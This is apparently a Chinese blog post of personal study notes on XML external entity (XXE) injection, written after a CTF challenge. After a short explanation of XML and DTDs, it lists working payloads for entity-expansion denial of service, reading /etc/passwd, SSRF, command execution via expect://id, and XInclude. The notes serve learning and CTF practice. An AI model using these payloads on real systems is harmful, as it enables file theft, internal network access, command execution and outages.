前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >xxe漏洞学习

xxe漏洞学习

作者头像
发布2020-08-19 16:17:14
5990
发布2020-08-19 16:17:14
举报
文章被收录于专栏:奝-大周奝-大周

前几天ctfshow的webak赛有一道利用xxe漏洞的题,当时看一些xxe的资料也没整出来,想着再学习下。

简单来说,XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

XML 指可扩展标记语言(eXtensible Markup Language),是一种用于标记电子文件使其具有结构性的标记语言,被设计用来传输和存储数据。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。目前,XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛。 XML 的语法规范由 DTD (Document Type Definition)来进行控制。

xml声明
代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
DTD文档类型定义

1.内部DTD文档

代码语言:javascript
复制
<!DOCTYPE 根元素[定义内容]>

2.外部DTD文档

代码语言:javascript
复制
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">

3.内外部DTD文档结合

代码语言:javascript
复制
<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>

拒绝服务攻击

代码语言:javascript
复制
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>

文件读取

代码语言:javascript
复制
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>

SSRF

代码语言:javascript
复制
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/" [
<!ELEMENT data (#ANY)>
]>
<data>4</data>

RCE

代码语言:javascript
复制
<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
   <core id="test101">
      <description>&xxe;</description>
   </core>
</catalog>

XInclude

代码语言:javascript
复制
<?xml version='1.0'?>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://publicServer.com/file.xml"></xi:include></data>
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-8-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • xml声明
  • DTD文档类型定义
  • 拒绝服务攻击
  • 文件读取
  • SSRF
  • RCE
  • XInclude
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档